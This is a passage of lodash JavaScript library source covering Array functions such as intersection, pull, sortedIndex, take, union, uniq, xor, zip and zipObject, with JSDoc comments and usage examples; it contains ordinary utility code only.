     * @example
     *
     * _.intersection([2, 1], [2, 3]);
     * // => [2]
     */
    var intersection = baseRest(function(arrays) {
      var mapped = arrayMap(arrays, castArrayLikeObject);
      return (mapped.length && mapped[0] === arrays[0])
        ? baseIntersection(mapped)
        : [];
    });

    /**
     * This method is like `_.intersection` except that it accepts `iteratee`
     * which is invoked for each element of each `arrays` to generate the criterion
     * by which they're compared. The order and references of result values are
     * determined by the first array. The iteratee is invoked with one argument:
     * (value).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {...Array} [arrays] The arrays to inspect.
     * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
     * @returns {Array} Returns the new array of intersecting values.
     * @example
     *
     * _.intersectionBy([2.1, 1.2], [2.3, 3.4], Math.floor);
     * // => [2.1]
     *
     * // The `_.property` iteratee shorthand.
     * _.intersectionBy([{ 'x': 1 }], [{ 'x': 2 }, { 'x': 1 }], 'x');
     * // => [{ 'x': 1 }]
     */
    var intersectionBy = baseRest(function(arrays) {
      var iteratee = last(arrays),
          mapped = arrayMap(arrays, castArrayLikeObject);

      if (iteratee === last(mapped)) {
        iteratee = undefined;
      } else {
        mapped.pop();
      }
      return (mapped.length && mapped[0] === arrays[0])
        ? baseIntersection(mapped, getIteratee(iteratee, 2))
        : [];
    });

    /**
     * This method is like `_.intersection` except that it accepts `comparator`
     * which is invoked to compare elements of `arrays`. The order and references
     * of result values are determined by the first array. The comparator is
     * invoked with two arguments: (arrVal, othVal).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {...Array} [arrays] The arrays to inspect.
     * @param {Function} [comparator] The comparator invoked per element.
     * @returns {Array} Returns the new array of intersecting values.
     * @example
     *
     * var objects = [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }];
     * var others = [{ 'x': 1, 'y': 1 }, { 'x': 1, 'y': 2 }];
     *
     * _.intersectionWith(objects, others, _.isEqual);
     * // => [{ 'x': 1, 'y': 2 }]
     */
    var intersectionWith = baseRest(function(arrays) {
      var comparator = last(arrays),
          mapped = arrayMap(arrays, castArrayLikeObject);

      comparator = typeof comparator == 'function' ? comparator : undefined;
      if (comparator) {
        mapped.pop();
      }
      return (mapped.length && mapped[0] === arrays[0])
        ? baseIntersection(mapped, undefined, comparator)
        : [];
    });

    /**
     * Converts all elements in `array` into a string separated by `separator`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to convert.
     * @param {string} [separator=','] The element separator.
     * @returns {string} Returns the joined string.
     * @example
     *
     * _.join(['a', 'b', 'c'], '~');
     * // => 'a~b~c'
     */
    function join(array, separator) {
      return array == null ? '' : nativeJoin.call(array, separator);
    }

    /**
     * Gets the last element of `array`.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {Array} array The array to query.
     * @returns {*} Returns the last element of `array`.
     * @example
     *
     * _.last([1, 2, 3]);
     * // => 3
     */
    function last(array) {
      var length = array == null ? 0 : array.length;
      return length ? array[length - 1] : undefined;
    }

    /**
     * This method is like `_.indexOf` except that it iterates over elements of
     * `array` from right to left.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {*} value The value to search for.
     * @param {number} [fromIndex=array.length-1] The index to search from.
     * @returns {number} Returns the index of the matched value, else `-1`.
     * @example
     *
     * _.lastIndexOf([1, 2, 1, 2], 2);
     * // => 3
     *
     * // Search from the `fromIndex`.
     * _.lastIndexOf([1, 2, 1, 2], 2, 2);
     * // => 1
     */
    function lastIndexOf(array, value, fromIndex) {
      var length = array == null ? 0 : array.length;
      if (!length) {
        return -1;
      }
      var index = length;
      if (fromIndex !== undefined) {
        index = toInteger(fromIndex);
        index = index < 0 ? nativeMax(length + index, 0) : nativeMin(index, length - 1);
      }
      return value === value
        ? strictLastIndexOf(array, value, index)
        : baseFindIndex(array, baseIsNaN, index, true);
    }

    /**
     * Gets the element at index `n` of `array`. If `n` is negative, the nth
     * element from the end is returned.
     *
     * @static
     * @memberOf _
     * @since 4.11.0
     * @category Array
     * @param {Array} array The array to query.
     * @param {number} [n=0] The index of the element to return.
     * @returns {*} Returns the nth element of `array`.
     * @example
     *
     * var array = ['a', 'b', 'c', 'd'];
     *
     * _.nth(array, 1);
     * // => 'b'
     *
     * _.nth(array, -2);
     * // => 'c';
     */
    function nth(array, n) {
      return (array && array.length) ? baseNth(array, toInteger(n)) : undefined;
    }

    /**
     * Removes all given values from `array` using
     * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
     * for equality comparisons.
     *
     * **Note:** Unlike `_.without`, this method mutates `array`. Use `_.remove`
     * to remove elements from an array by predicate.
     *
     * @static
     * @memberOf _
     * @since 2.0.0
     * @category Array
     * @param {Array} array The array to modify.
     * @param {...*} [values] The values to remove.
     * @returns {Array} Returns `array`.
     * @example
     *
     * var array = ['a', 'b', 'c', 'a', 'b', 'c'];
     *
     * _.pull(array, 'a', 'c');
     * console.log(array);
     * // => ['b', 'b']
     */
    var pull = baseRest(pullAll);

    /**
     * This method is like `_.pull` except that it accepts an array of values to remove.
     *
     * **Note:** Unlike `_.difference`, this method mutates `array`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to modify.
     * @param {Array} values The values to remove.
     * @returns {Array} Returns `array`.
     * @example
     *
     * var array = ['a', 'b', 'c', 'a', 'b', 'c'];
     *
     * _.pullAll(array, ['a', 'c']);
     * console.log(array);
     * // => ['b', 'b']
     */
    function pullAll(array, values) {
      return (array && array.length && values && values.length)
        ? basePullAll(array, values)
        : array;
    }

    /**
     * This method is like `_.pullAll` except that it accepts `iteratee` which is
     * invoked for each element of `array` and `values` to generate the criterion
     * by which they're compared. The iteratee is invoked with one argument: (value).
     *
     * **Note:** Unlike `_.differenceBy`, this method mutates `array`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to modify.
     * @param {Array} values The values to remove.
     * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
     * @returns {Array} Returns `array`.
     * @example
     *
     * var array = [{ 'x': 1 }, { 'x': 2 }, { 'x': 3 }, { 'x': 1 }];
     *
     * _.pullAllBy(array, [{ 'x': 1 }, { 'x': 3 }], 'x');
     * console.log(array);
     * // => [{ 'x': 2 }]
     */
    function pullAllBy(array, values, iteratee) {
      return (array && array.length && values && values.length)
        ? basePullAll(array, values, getIteratee(iteratee, 2))
        : array;
    }

    /**
     * This method is like `_.pullAll` except that it accepts `comparator` which
     * is invoked to compare elements of `array` to `values`. The comparator is
     * invoked with two arguments: (arrVal, othVal).
     *
     * **Note:** Unlike `_.differenceWith`, this method mutates `array`.
     *
     * @static
     * @memberOf _
     * @since 4.6.0
     * @category Array
     * @param {Array} array The array to modify.
     * @param {Array} values The values to remove.
     * @param {Function} [comparator] The comparator invoked per element.
     * @returns {Array} Returns `array`.
     * @example
     *
     * var array = [{ 'x': 1, 'y': 2 }, { 'x': 3, 'y': 4 }, { 'x': 5, 'y': 6 }];
     *
     * _.pullAllWith(array, [{ 'x': 3, 'y': 4 }], _.isEqual);
     * console.log(array);
     * // => [{ 'x': 1, 'y': 2 }, { 'x': 5, 'y': 6 }]
     */
    function pullAllWith(array, values, comparator) {
      return (array && array.length && values && values.length)
        ? basePullAll(array, values, undefined, comparator)
        : array;
    }

    /**
     * Removes elements from `array` corresponding to `indexes` and returns an
     * array of removed elements.
     *
     * **Note:** Unlike `_.at`, this method mutates `array`.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Array
     * @param {Array} array The array to modify.
     * @param {...(number|number[])} [indexes] The indexes of elements to remove.
     * @returns {Array} Returns the new array of removed elements.
     * @example
     *
     * var array = ['a', 'b', 'c', 'd'];
     * var pulled = _.pullAt(array, [1, 3]);
     *
     * console.log(array);
     * // => ['a', 'c']
     *
     * console.log(pulled);
     * // => ['b', 'd']
     */
    var pullAt = flatRest(function(array, indexes) {
      var length = array == null ? 0 : array.length,
          result = baseAt(array, indexes);

      basePullAt(array, arrayMap(indexes, function(index) {
        return isIndex(index, length) ? +index : index;
      }).sort(compareAscending));

      return result;
    });

    /**
     * Removes all elements from `array` that `predicate` returns truthy for
     * and returns an array of the removed elements. The predicate is invoked
     * with three arguments: (value, index, array).
     *
     * **Note:** Unlike `_.filter`, this method mutates `array`. Use `_.pull`
     * to pull elements from an array by value.
     *
     * @static
     * @memberOf _
     * @since 2.0.0
     * @category Array
     * @param {Array} array The array to modify.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the new array of removed elements.
     * @example
     *
     * var array = [1, 2, 3, 4];
     * var evens = _.remove(array, function(n) {
     *   return n % 2 == 0;
     * });
     *
     * console.log(array);
     * // => [1, 3]
     *
     * console.log(evens);
     * // => [2, 4]
     */
    function remove(array, predicate) {
      var result = [];
      if (!(array && array.length)) {
        return result;
      }
      var index = -1,
          indexes = [],
          length = array.length;

      predicate = getIteratee(predicate, 3);
      while (++index < length) {
        var value = array[index];
        if (predicate(value, index, array)) {
          result.push(value);
          indexes.push(index);
        }
      }
      basePullAt(array, indexes);
      return result;
    }

    /**
     * Reverses `array` so that the first element becomes the last, the second
     * element becomes the second to last, and so on.
     *
     * **Note:** This method mutates `array` and is based on
     * [`Array#reverse`](https://mdn.io/Array/reverse).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to modify.
     * @returns {Array} Returns `array`.
     * @example
     *
     * var array = [1, 2, 3];
     *
     * _.reverse(array);
     * // => [3, 2, 1]
     *
     * console.log(array);
     * // => [3, 2, 1]
     */
    function reverse(array) {
      return array == null ? array : nativeReverse.call(array);
    }

    /**
     * Creates a slice of `array` from `start` up to, but not including, `end`.
     *
     * **Note:** This method is used instead of
     * [`Array#slice`](https://mdn.io/Array/slice) to ensure dense arrays are
     * returned.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Array
     * @param {Array} array The array to slice.
     * @param {number} [start=0] The start position.
     * @param {number} [end=array.length] The end position.
     * @returns {Array} Returns the slice of `array`.
     */
    function slice(array, start, end) {
      var length = array == null ? 0 : array.length;
      if (!length) {
        return [];
      }
      if (end && typeof end != 'number' && isIterateeCall(array, start, end)) {
        start = 0;
        end = length;
      }
      else {
        start = start == null ? 0 : toInteger(start);
        end = end === undefined ? length : toInteger(end);
      }
      return baseSlice(array, start, end);
    }

    /**
     * Uses a binary search to determine the lowest index at which `value`
     * should be inserted into `array` in order to maintain its sort order.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {Array} array The sorted array to inspect.
     * @param {*} value The value to evaluate.
     * @returns {number} Returns the index at which `value` should be inserted
     *  into `array`.
     * @example
     *
     * _.sortedIndex([30, 50], 40);
     * // => 1
     */
    function sortedIndex(array, value) {
      return baseSortedIndex(array, value);
    }

    /**
     * This method is like `_.sortedIndex` except that it accepts `iteratee`
     * which is invoked for `value` and each element of `array` to compute their
     * sort ranking. The iteratee is invoked with one argument: (value).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The sorted array to inspect.
     * @param {*} value The value to evaluate.
     * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
     * @returns {number} Returns the index at which `value` should be inserted
     *  into `array`.
     * @example
     *
     * var objects = [{ 'x': 4 }, { 'x': 5 }];
     *
     * _.sortedIndexBy(objects, { 'x': 4 }, function(o) { return o.x; });
     * // => 0
     *
     * // The `_.property` iteratee shorthand.
     * _.sortedIndexBy(objects, { 'x': 4 }, 'x');
     * // => 0
     */
    function sortedIndexBy(array, value, iteratee) {
      return baseSortedIndexBy(array, value, getIteratee(iteratee, 2));
    }

    /**
     * This method is like `_.indexOf` except that it performs a binary
     * search on a sorted `array`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {*} value The value to search for.
     * @returns {number} Returns the index of the matched value, else `-1`.
     * @example
     *
     * _.sortedIndexOf([4, 5, 5, 5, 6], 5);
     * // => 1
     */
    function sortedIndexOf(array, value) {
      var length = array == null ? 0 : array.length;
      if (length) {
        var index = baseSortedIndex(array, value);
        if (index < length && eq(array[index], value)) {
          return index;
        }
      }
      return -1;
    }

    /**
     * This method is like `_.sortedIndex` except that it returns the highest
     * index at which `value` should be inserted into `array` in order to
     * maintain its sort order.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Array
     * @param {Array} array The sorted array to inspect.
     * @param {*} value The value to evaluate.
     * @returns {number} Returns the index at which `value` should be inserted
     *  into `array`.
     * @example
     *
     * _.sortedLastIndex([4, 5, 5, 5, 6], 5);
     * // => 4
     */
    function sortedLastIndex(array, value) {
      return baseSortedIndex(array, value, true);
    }

    /**
     * This method is like `_.sortedLastIndex` except that it accepts `iteratee`
     * which is invoked for `value` and each element of `array` to compute their
     * sort ranking. The iteratee is invoked with one argument: (value).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The sorted array to inspect.
     * @param {*} value The value to evaluate.
     * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
     * @returns {number} Returns the index at which `value` should be inserted
     *  into `array`.
     * @example
     *
     * var objects = [{ 'x': 4 }, { 'x': 5 }];
     *
     * _.sortedLastIndexBy(objects, { 'x': 4 }, function(o) { return o.x; });
     * // => 1
     *
     * // The `_.property` iteratee shorthand.
     * _.sortedLastIndexBy(objects, { 'x': 4 }, 'x');
     * // => 1
     */
    function sortedLastIndexBy(array, value, iteratee) {
      return baseSortedIndexBy(array, value, getIteratee(iteratee, 2), true);
    }

    /**
     * This method is like `_.lastIndexOf` except that it performs a binary
     * search on a sorted `array`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {*} value The value to search for.
     * @returns {number} Returns the index of the matched value, else `-1`.
     * @example
     *
     * _.sortedLastIndexOf([4, 5, 5, 5, 6], 5);
     * // => 3
     */
    function sortedLastIndexOf(array, value) {
      var length = array == null ? 0 : array.length;
      if (length) {
        var index = baseSortedIndex(array, value, true) - 1;
        if (eq(array[index], value)) {
          return index;
        }
      }
      return -1;
    }

    /**
     * This method is like `_.uniq` except that it's designed and optimized
     * for sorted arrays.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @returns {Array} Returns the new duplicate free array.
     * @example
     *
     * _.sortedUniq([1, 1, 2]);
     * // => [1, 2]
     */
    function sortedUniq(array) {
      return (array && array.length)
        ? baseSortedUniq(array)
        : [];
    }

    /**
     * This method is like `_.uniqBy` except that it's designed and optimized
     * for sorted arrays.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {Function} [iteratee] The iteratee invoked per element.
     * @returns {Array} Returns the new duplicate free array.
     * @example
     *
     * _.sortedUniqBy([1.1, 1.2, 2.3, 2.4], Math.floor);
     * // => [1.1, 2.3]
     */
    function sortedUniqBy(array, iteratee) {
      return (array && array.length)
        ? baseSortedUniq(array, getIteratee(iteratee, 2))
        : [];
    }

    /**
     * Gets all but the first element of `array`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to query.
     * @returns {Array} Returns the slice of `array`.
     * @example
     *
     * _.tail([1, 2, 3]);
     * // => [2, 3]
     */
    function tail(array) {
      var length = array == null ? 0 : array.length;
      return length ? baseSlice(array, 1, length) : [];
    }

    /**
     * Creates a slice of `array` with `n` elements taken from the beginning.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {Array} array The array to query.
     * @param {number} [n=1] The number of elements to take.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {Array} Returns the slice of `array`.
     * @example
     *
     * _.take([1, 2, 3]);
     * // => [1]
     *
     * _.take([1, 2, 3], 2);
     * // => [1, 2]
     *
     * _.take([1, 2, 3], 5);
     * // => [1, 2, 3]
     *
     * _.take([1, 2, 3], 0);
     * // => []
     */
    function take(array, n, guard) {
      if (!(array && array.length)) {
        return [];
      }
      n = (guard || n === undefined) ? 1 : toInteger(n);
      return baseSlice(array, 0, n < 0 ? 0 : n);
    }

    /**
     * Creates a slice of `array` with `n` elements taken from the end.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Array
     * @param {Array} array The array to query.
     * @param {number} [n=1] The number of elements to take.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {Array} Returns the slice of `array`.
     * @example
     *
     * _.takeRight([1, 2, 3]);
     * // => [3]
     *
     * _.takeRight([1, 2, 3], 2);
     * // => [2, 3]
     *
     * _.takeRight([1, 2, 3], 5);
     * // => [1, 2, 3]
     *
     * _.takeRight([1, 2, 3], 0);
     * // => []
     */
    function takeRight(array, n, guard) {
      var length = array == null ? 0 : array.length;
      if (!length) {
        return [];
      }
      n = (guard || n === undefined) ? 1 : toInteger(n);
      n = length - n;
      return baseSlice(array, n < 0 ? 0 : n, length);
    }

    /**
     * Creates a slice of `array` with elements taken from the end. Elements are
     * taken until `predicate` returns falsey. The predicate is invoked with
     * three arguments: (value, index, array).
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Array
     * @param {Array} array The array to query.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the slice of `array`.
     * @example
     *
     * var users = [
     *   { 'user': 'barney',  'active': true },
     *   { 'user': 'fred',    'active': false },
     *   { 'user': 'pebbles', 'active': false }
     * ];
     *
     * _.takeRightWhile(users, function(o) { return !o.active; });
     * // => objects for ['fred', 'pebbles']
     *
     * // The `_.matches` iteratee shorthand.
     * _.takeRightWhile(users, { 'user': 'pebbles', 'active': false });
     * // => objects for ['pebbles']
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.takeRightWhile(users, ['active', false]);
     * // => objects for ['fred', 'pebbles']
     *
     * // The `_.property` iteratee shorthand.
     * _.takeRightWhile(users, 'active');
     * // => []
     */
    function takeRightWhile(array, predicate) {
      return (array && array.length)
        ? baseWhile(array, getIteratee(predicate, 3), false, true)
        : [];
    }

    /**
     * Creates a slice of `array` with elements taken from the beginning. Elements
     * are taken until `predicate` returns falsey. The predicate is invoked with
     * three arguments: (value, index, array).
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Array
     * @param {Array} array The array to query.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the slice of `array`.
     * @example
     *
     * var users = [
     *   { 'user': 'barney',  'active': false },
     *   { 'user': 'fred',    'active': false },
     *   { 'user': 'pebbles', 'active': true }
     * ];
     *
     * _.takeWhile(users, function(o) { return !o.active; });
     * // => objects for ['barney', 'fred']
     *
     * // The `_.matches` iteratee shorthand.
     * _.takeWhile(users, { 'user': 'barney', 'active': false });
     * // => objects for ['barney']
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.takeWhile(users, ['active', false]);
     * // => objects for ['barney', 'fred']
     *
     * // The `_.property` iteratee shorthand.
     * _.takeWhile(users, 'active');
     * // => []
     */
    function takeWhile(array, predicate) {
      return (array && array.length)
        ? baseWhile(array, getIteratee(predicate, 3))
        : [];
    }

    /**
     * Creates an array of unique values, in order, from all given arrays using
     * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
     * for equality comparisons.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {...Array} [arrays] The arrays to inspect.
     * @returns {Array} Returns the new array of combined values.
     * @example
     *
     * _.union([2], [1, 2]);
     * // => [2, 1]
     */
    var union = baseRest(function(arrays) {
      return baseUniq(baseFlatten(arrays, 1, isArrayLikeObject, true));
    });

    /**
     * This method is like `_.union` except that it accepts `iteratee` which is
     * invoked for each element of each `arrays` to generate the criterion by
     * which uniqueness is computed. Result values are chosen from the first
     * array in which the value occurs. The iteratee is invoked with one argument:
     * (value).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {...Array} [arrays] The arrays to inspect.
     * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
     * @returns {Array} Returns the new array of combined values.
     * @example
     *
     * _.unionBy([2.1], [1.2, 2.3], Math.floor);
     * // => [2.1, 1.2]
     *
     * // The `_.property` iteratee shorthand.
     * _.unionBy([{ 'x': 1 }], [{ 'x': 2 }, { 'x': 1 }], 'x');
     * // => [{ 'x': 1 }, { 'x': 2 }]
     */
    var unionBy = baseRest(function(arrays) {
      var iteratee = last(arrays);
      if (isArrayLikeObject(iteratee)) {
        iteratee = undefined;
      }
      return baseUniq(baseFlatten(arrays, 1, isArrayLikeObject, true), getIteratee(iteratee, 2));
    });

    /**
     * This method is like `_.union` except that it accepts `comparator` which
     * is invoked to compare elements of `arrays`. Result values are chosen from
     * the first array in which the value occurs. The comparator is invoked
     * with two arguments: (arrVal, othVal).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {...Array} [arrays] The arrays to inspect.
     * @param {Function} [comparator] The comparator invoked per element.
     * @returns {Array} Returns the new array of combined values.
     * @example
     *
     * var objects = [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }];
     * var others = [{ 'x': 1, 'y': 1 }, { 'x': 1, 'y': 2 }];
     *
     * _.unionWith(objects, others, _.isEqual);
     * // => [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }, { 'x': 1, 'y': 1 }]
     */
    var unionWith = baseRest(function(arrays) {
      var comparator = last(arrays);
      comparator = typeof comparator == 'function' ? comparator : undefined;
      return baseUniq(baseFlatten(arrays, 1, isArrayLikeObject, true), undefined, comparator);
    });

    /**
     * Creates a duplicate-free version of an array, using
     * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
     * for equality comparisons, in which only the first occurrence of each element
     * is kept. The order of result values is determined by the order they occur
     * in the array.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @returns {Array} Returns the new duplicate free array.
     * @example
     *
     * _.uniq([2, 1, 2]);
     * // => [2, 1]
     */
    function uniq(array) {
      return (array && array.length) ? baseUniq(array) : [];
    }

    /**
     * This method is like `_.uniq` except that it accepts `iteratee` which is
     * invoked for each element in `array` to generate the criterion by which
     * uniqueness is computed. The order of result values is determined by the
     * order they occur in the array. The iteratee is invoked with one argument:
     * (value).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
     * @returns {Array} Returns the new duplicate free array.
     * @example
     *
     * _.uniqBy([2.1, 1.2, 2.3], Math.floor);
     * // => [2.1, 1.2]
     *
     * // The `_.property` iteratee shorthand.
     * _.uniqBy([{ 'x': 1 }, { 'x': 2 }, { 'x': 1 }], 'x');
     * // => [{ 'x': 1 }, { 'x': 2 }]
     */
    function uniqBy(array, iteratee) {
      return (array && array.length) ? baseUniq(array, getIteratee(iteratee, 2)) : [];
    }

    /**
     * This method is like `_.uniq` except that it accepts `comparator` which
     * is invoked to compare elements of `array`. The order of result values is
     * determined by the order they occur in the array.The comparator is invoked
     * with two arguments: (arrVal, othVal).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {Function} [comparator] The comparator invoked per element.
     * @returns {Array} Returns the new duplicate free array.
     * @example
     *
     * var objects = [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }, { 'x': 1, 'y': 2 }];
     *
     * _.uniqWith(objects, _.isEqual);
     * // => [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }]
     */
    function uniqWith(array, comparator) {
      comparator = typeof comparator == 'function' ? comparator : undefined;
      return (array && array.length) ? baseUniq(array, undefined, comparator) : [];
    }

    /**
     * This method is like `_.zip` except that it accepts an array of grouped
     * elements and creates an array regrouping the elements to their pre-zip
     * configuration.
     *
     * @static
     * @memberOf _
     * @since 1.2.0
     * @category Array
     * @param {Array} array The array of grouped elements to process.
     * @returns {Array} Returns the new array of regrouped elements.
     * @example
     *
     * var zipped = _.zip(['a', 'b'], [1, 2], [true, false]);
     * // => [['a', 1, true], ['b', 2, false]]
     *
     * _.unzip(zipped);
     * // => [['a', 'b'], [1, 2], [true, false]]
     */
    function unzip(array) {
      if (!(array && array.length)) {
        return [];
      }
      var length = 0;
      array = arrayFilter(array, function(group) {
        if (isArrayLikeObject(group)) {
          length = nativeMax(group.length, length);
          return true;
        }
      });
      return baseTimes(length, function(index) {
        return arrayMap(array, baseProperty(index));
      });
    }

    /**
     * This method is like `_.unzip` except that it accepts `iteratee` to specify
     * how regrouped values should be combined. The iteratee is invoked with the
     * elements of each group: (...group).
     *
     * @static
     * @memberOf _
     * @since 3.8.0
     * @category Array
     * @param {Array} array The array of grouped elements to process.
     * @param {Function} [iteratee=_.identity] The function to combine
     *  regrouped values.
     * @returns {Array} Returns the new array of regrouped elements.
     * @example
     *
     * var zipped = _.zip([1, 2], [10, 20], [100, 200]);
     * // => [[1, 10, 100], [2, 20, 200]]
     *
     * _.unzipWith(zipped, _.add);
     * // => [3, 30, 300]
     */
    function unzipWith(array, iteratee) {
      if (!(array && array.length)) {
        return [];
      }
      var result = unzip(array);
      if (iteratee == null) {
        return result;
      }
      return arrayMap(result, function(group) {
        return apply(iteratee, undefined, group);
      });
    }

    /**
     * Creates an array excluding all given values using
     * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
     * for equality comparisons.
     *
     * **Note:** Unlike `_.pull`, this method returns a new array.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {...*} [values] The values to exclude.
     * @returns {Array} Returns the new array of filtered values.
     * @see _.difference, _.xor
     * @example
     *
     * _.without([2, 1, 2, 3], 1, 2);
     * // => [3]
     */
    var without = baseRest(function(array, values) {
      return isArrayLikeObject(array)
        ? baseDifference(array, values)
        : [];
    });

    /**
     * Creates an array of unique values that is the
     * [symmetric difference](https://en.wikipedia.org/wiki/Symmetric_difference)
     * of the given arrays. The order of result values is determined by the order
     * they occur in the arrays.
     *
     * @static
     * @memberOf _
     * @since 2.4.0
     * @category Array
     * @param {...Array} [arrays] The arrays to inspect.
     * @returns {Array} Returns the new array of filtered values.
     * @see _.difference, _.without
     * @example
     *
     * _.xor([2, 1], [2, 3]);
     * // => [1, 3]
     */
    var xor = baseRest(function(arrays) {
      return baseXor(arrayFilter(arrays, isArrayLikeObject));
    });

    /**
     * This method is like `_.xor` except that it accepts `iteratee` which is
     * invoked for each element of each `arrays` to generate the criterion by
     * which by which they're compared. The order of result values is determined
     * by the order they occur in the arrays. The iteratee is invoked with one
     * argument: (value).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {...Array} [arrays] The arrays to inspect.
     * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
     * @returns {Array} Returns the new array of filtered values.
     * @example
     *
     * _.xorBy([2.1, 1.2], [2.3, 3.4], Math.floor);
     * // => [1.2, 3.4]
     *
     * // The `_.property` iteratee shorthand.
     * _.xorBy([{ 'x': 1 }], [{ 'x': 2 }, { 'x': 1 }], 'x');
     * // => [{ 'x': 2 }]
     */
    var xorBy = baseRest(function(arrays) {
      var iteratee = last(arrays);
      if (isArrayLikeObject(iteratee)) {
        iteratee = undefined;
      }
      return baseXor(arrayFilter(arrays, isArrayLikeObject), getIteratee(iteratee, 2));
    });

    /**
     * This method is like `_.xor` except that it accepts `comparator` which is
     * invoked to compare elements of `arrays`. The order of result values is
     * determined by the order they occur in the arrays. The comparator is invoked
     * with two arguments: (arrVal, othVal).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {...Array} [arrays] The arrays to inspect.
     * @param {Function} [comparator] The comparator invoked per element.
     * @returns {Array} Returns the new array of filtered values.
     * @example
     *
     * var objects = [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }];
     * var others = [{ 'x': 1, 'y': 1 }, { 'x': 1, 'y': 2 }];
     *
     * _.xorWith(objects, others, _.isEqual);
     * // => [{ 'x': 2, 'y': 1 }, { 'x': 1, 'y': 1 }]
     */
    var xorWith = baseRest(function(arrays) {
      var comparator = last(arrays);
      comparator = typeof comparator == 'function' ? comparator : undefined;
      return baseXor(arrayFilter(arrays, isArrayLikeObject), undefined, comparator);
    });

    /**
     * Creates an array of grouped elements, the first of which contains the
     * first elements of the given arrays, the second of which contains the
     * second elements of the given arrays, and so on.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {...Array} [arrays] The arrays to process.
     * @returns {Array} Returns the new array of grouped elements.
     * @example
     *
     * _.zip(['a', 'b'], [1, 2], [true, false]);
     * // => [['a', 1, true], ['b', 2, false]]
     */
    var zip = baseRest(unzip);

    /**
     * This method is like `_.fromPairs` except that it accepts two arrays,
     * one of property identifiers and one of corresponding values.
     *
     * @static
     * @memberOf _
     * @since 0.4.0
     * @category Array
     * @param {Array} [props=[]] The property identifiers.
     * @param {Array} [values=[]] The property values.
     * @returns {Object} Returns the new object.
     * @example
     *
     * _.zipObject(['a', 'b'], [1, 2]);
     * // => { 'a': 1, 'b': 2 }
     */
    function zipObject(props, values) {
      return baseZipObject(props || [], values || [], assignValue);
    }

    /**
     * This method is like `_.zipObject` except that it supports property paths.
     *
     * @static
     * @memberOf _
     * @since 4.1.0
     * @category Array
     * @param {Array} [props=[]] The property identifiers.
     * @param {Array} [values=[]] The property values.
     * @returns {Object} Returns the new object.
     * @example
     *
